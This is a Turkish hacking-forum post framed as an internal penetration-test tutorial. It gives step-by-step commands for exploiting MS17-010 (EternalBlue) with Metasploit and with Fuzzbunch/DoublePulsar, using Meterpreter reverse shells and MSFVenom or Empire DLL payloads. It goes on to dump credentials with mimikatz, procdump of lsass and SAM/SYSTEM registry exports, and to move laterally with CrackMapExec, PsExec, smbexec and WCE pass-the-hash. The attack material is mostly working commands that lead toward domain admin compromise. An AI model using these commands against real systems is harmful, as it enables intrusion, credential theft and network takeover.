Ağ Sızma Testinde Kullanılabilecek Yöntemler -ShuJaira-

ShuJaira

Kıdemli Üye
26 Tem 2010
4,960
16
N-map
1-770x360.jpg


İç Ağ Sızma Testinde Kullanılabilecek Araç ve Yöntemler





Herkese Merhaba,
Bu yazıda birlikte MS17-010 zafiyeti bulunan bir bilgisayardan kurum içi sızma testi senaryosu canlandıracağız. MS17-010 zafiyeti m€tasploit güvenlik çatısı altında modülü bulunmaktadır. ( exploit/windows/smb/ms17_010_eternalblue ) Fakat bu modül sadece x64 mimari yanı 64 bit işletim sistemlerinde çalışmaktadır. x86 yani 32 bit işletim sistemlerinde çaresiz kalmaktadır. Ayrıca bunun dışında m€tasploit popüler bir çatı olduğu için güvenlik ürünleri tarafında yakalanıp engellenebilmektedir. Bu MS17-010 zafiyetinde geçerli olduğu gibi bir çok zafiyetin m€tasploit ile sömürülmeye çalışıldığında kurumlarda başarılı olunmamakta ve otomatik yerine el ile sömürme işlemi gerçekleştirilmektedir. Yine aynı şekilde m€tasploit modülü olan PsExec ile hash’ı alınan bir makinaya bağlanabiliyoruz fakat güvenlik ürünleri bu bağlantılarıda tanıyıp kesebiliyor. Yazının devamında bu yöntemlere ve alternatiflerine değinmeye çalışacağım.
İlk olarak en basitten başlayarak hedef makina/ip üzerinden zafiyeti tespit edip m€tasploit ile sızmaya çalışalım.





Nmap Script Engine (NSE) ile MS17-010 zafiyetinin olup olmadığını test ediyoruz. Resimde görüldüğü gibi VULNERABLE olarak çıktı vermekte. Bu makinada MS17-010 zafiyeti bulunmakta. NSE harici m€tasploit ile
Kod:
use auxiliary/scanner/smb/smb_ms17_010
diyerekde zafiyetin olup olmadığını test edebilirsiniz.
Artık m€tasploit’i açarak
Kod:
use exploit/windows/smb/ms17_010_eternalblue
diyerek
Kod:
 MS17-010
zafiyetini m€tasploit ile sömürebiliriz.





Burada gördüğünüz gibi Exploit target kısmında sadece x64 desteklenmektedir. Burada Payload olarak
Kod:
windows/x64/meterpreter/reverse_tcp
payloadu kullanılmıştır.
Kod:
windows/x64/meterpreter/bind_tcp
payloadıda farklı senaryolarda işinize görecektir.





Meterpreter komut satırına düştük buradan sonra meterpreter’in gelişmiş yeteneklerini kullanabilirsiniz ya da shell diyerek windows cmd satırına düşebilirsiniz. Windows tarafındaki en yetkili kulanıcı hakları olan NT AUTHORITY\SYSTEM yetkileri ile sisteme giriş yapıldığından dolayı bellekten hash ve parola çıkarma işlemleri yapılabilir.






Yukarıdaki resimlerde görüldüğü gibi meterpreter üzerinde hashdump ve mimikatz kullanılarak kullanıcı hash ve parolalarını elde edebildik. incoginito aracı ile kullanıcı tokenları arasında değiştirebildik.
Meterpreter ile sisteme sızmış olmasaydık cmd üzerinden yine procdump.exe aracını hedef makinaya indirerek cmd üzerinden procdump ile lsass.exe dumpını alarabiliriz.
Kod:
C:\procdump.exe -accepteula -ma lsass.exe dump.dmp
Oluşturduğumuz lsaass.exe’nin dump.dmp dosyasını kendi makinamıza indirerek kendi makınamızda mimikatz ile aşağıdaki komutlar ile inceleyebiliriz.

Kod:
mimikatz.exe
 privilege::debug
 sekurlsa::minidump dump.dmp
 sekurlsa::logonPasswords
Ayrıca windows üzerinden sam ve system dosyalarını çıkartıp birleştirerek kullanıcı hashlerini elde edebiliriz. samdump2 aracı Kali Linux’ta yüklü olarak gelmektedir.
Kod:
reg save hklm\sam c:\sam
reg save hklm\system c:\system
 samdump2 system sam



Bu şekilde meterpreter dışındada windows makinalar üzerinde hash ve parolaları manuel olarak elde edebiliriz.





CrackMapExec ile elde edilen hash ve parolalar subnet ve domaindeki tüm makinalarda bu parola veya hash Local Admin hakları ile çalışıyorsa yukarıdaki resimdeki gibi Pwn3d! yazmaktadır. Bu aşamadan sonra isterseniz CME (Crack Map Exec) ile makinalardaki tokenları toplayabilir ya da bu makinalara bu hash ya da parolalar ile PsExec,SMBExec ya da WCE ile giriş yapılıp manuel olarak bu işlemleri gerçekleştirilebilir.






m€tasploit’i açtıktan sonra
Kod:
use exploit/windows/smb/psexec
diyerek m€tasploit ile giriş yapabilmekteyiz. Fakat başta söylediğim gibi bazı durumlarda güvenlik ürünleri tarafından tespit edilip kesilmektedir. Bunun için PsExec’e alternatif olarak Python’ın impacket modülünde bulunan smbexec.py işimizi görmektedir.




Windows bir makinadan hash ile hedef makinaya bağlanmak için Windows Credentiol Editor (WCE) ile bağlanılabilir.

Kod:
wce.exe -l
wce.exe -g testlerdeyim
wce.exe -s <Kullanıcıadı>:<Domain/yadamakinaipsi>:<LM Hash>:<NTLM Hash>
net use ipADMIN$
PsExec.exe IPADRESİ -s cmd


Buraya kadar MS17-010 zafiyeti ile sisteme sızılıp daha sonra kurum içindeki yada Domainde ki diğer makinalarda aynı hashlerin tespiti bu makinalara hash ya da parola ile bağlanıp o makinalarda ki hash ve parolaları manuel ve otomatik şekilde elde etmeyi inceledik. Domainde bulunan her makina üzerinden hash,parola ve tokenlar toplandıkça bunların içinde Domain Admin yetkileri ile çalışan kullanıcı parola,token ve hash’ine rastlamanız olası. Bu yetkide kullanıcılara ulaşabilirseniz DC makinalarıda artık elinizde demektedir. MS17-010 zafiyeti m€tasploit modülü x86 versiyonundan kaynaklı ya da güvenlik ürünlerinin engellemesinden kaynaklı kesilebilirdi. Bu durumda fuzzbunch ile önüne geçebiliriz. x86 ve x64 işletim sistemi mimarilerinde çalışıp aynı zamanda bir çok güvenlik ürününe takılmadan başarı ile çalışmaktadır. Fuzzbunch’i çalıştırmak için hedef dışında Windows XP bir makina ve atak yapılacak,DLL oluşturulacak ve bağlantının dinleneceği bir makina (Örn: Kali Linux) daha kullanılmaktaydı. Bu süreci kolaylaştırmak için wine yazılımı ile Kali Linux üzerine Fuzzbunch kurulum imkanı sağlayan Kali/fuzzbunch-debian yazılımı linkteki sayfadaki yönergeler ile kurabilirsiniz.


Kod:
https://github.com/mdiazcl/fuzzbunch-debian
Fuzzbunch-Debian Kurulum Komutları:

Kod:
1- apt update
 2- apt install wine winbind winetricks
 3- dpkg –add-architecture i386 && apt-get update && apt-get install wine32
 4- WINEPREFIX=”$HOME/.wine-fuzzbunch” WINEARCH=win32 wine wineboot
 5- export WINEPREFIX=$HOME/.wine-fuzzbunch
 6- wine regedit.exe
 7- regedit açıldıktan sonra sağa tıklayıp Add String Value diyerek  Type kısmına  String Name kısmına PATH  Value  kısmına  c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch   değerlerini girerek çıkıyoruz.
 8- cd $HOME/.wine-fuzzbunch/drive_c
 9- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
 10- winetricks python26
 11- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
 12- wine cmd.exe
 13- python fb.py


Kali/fuzzbunch-debian kurarak Windows XP bağımlılığından kurtularak tek bir saldırgan makina ile atağı gerçekleştirebiliriz.





python fb.py ile fuzzbunch açıldığında yukarıda ki resimdeki ekran gelmektedir. 0 New project diyip isim verip Target (Sızılacak Hedef IP) ve Callback (Bağlantı gelecek bizim IP) değişkenlerini girerek enter tuşu ile değişkenlerin varsayılan değerlerini onaylayarak ilerliyoruz.



use Eternalblue diyerek MS17-010 Eternalblue exploitini kullanacağız.




Resimlerde ki parametreler girilip execute dediğimizde Eternalblue başarılı bir şekilde çalışmaktadır.





Eternalblue başarılı bir şekilde hedefte çalıştıkdan sonra use Doublepulsar diyerek exploiti tamamlayacağız.





Bu resimde görüldüğü gibi işletim sisteminin mimarisini sormakta. m€tasploit modülünde sadece x64 seçeneği mevcut.





Bizim hedef makinamız x64 olduğu için 1 diyerek devam ediyoruz. Function kısmında exploitin çalışıp çalışmadığını denemek için 1 seçerek Ping komutu çalıştırıyoruz.





Ve komutumuz başarılı bir şekilde çalıştı. Artık 2 numaralı Run DLL Function’ı çalıştırıp kendimize DLL üretip onu hedef sistemde çalıştırarak shell alabiliriz.





MSFVenom ile x64 bir DLL üreterek bunu fuzzbunch’in kurulu olduğu dizine taşıyoruz.





Yukarıda ki resimde görüldüğü gibi set Function RunDLL diyerek functionımızı seçiyoruz. DLLOrdinal ve DLLPayload değişkenlerini girdikten sonra execute ile Doublepulsar’ı çalıştırıyoruz.





Başarılı bir şekilde çalıştı.





Doublepulsar’ı çalıştırmadan önce DLL’i oluştururken kullandığımız IP adresli makinada multi/handler modülü ile IP ve port numarasını dinlemeye başlıyoruz. Doublepulsar başarılı bir şekilde çalıştığında hedef makinadan shell gelmektedir.
Fuzzbunch ile DLL injecte ederken bunu MSFVenom yerine Empire ile DLL oluşturup onu Doublepulsar ile hedefte çalıştırarak gelen shell bağlantısını agent olarak Empire üzerinden kullanabilirsiniz.







Resimlerde görüldüğü gibi Empire ile DLL oluşturulup fuzzbunch dizinine taşınıp Doublepulsar DLLPath değişkenine bu DLL verilip çalıştırıldığında Empire agent’ı başarılı bir şekilde oluşmaktadır. Agent oluştukdan sonra Empire ile post exploitation yapabilirsiniz.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.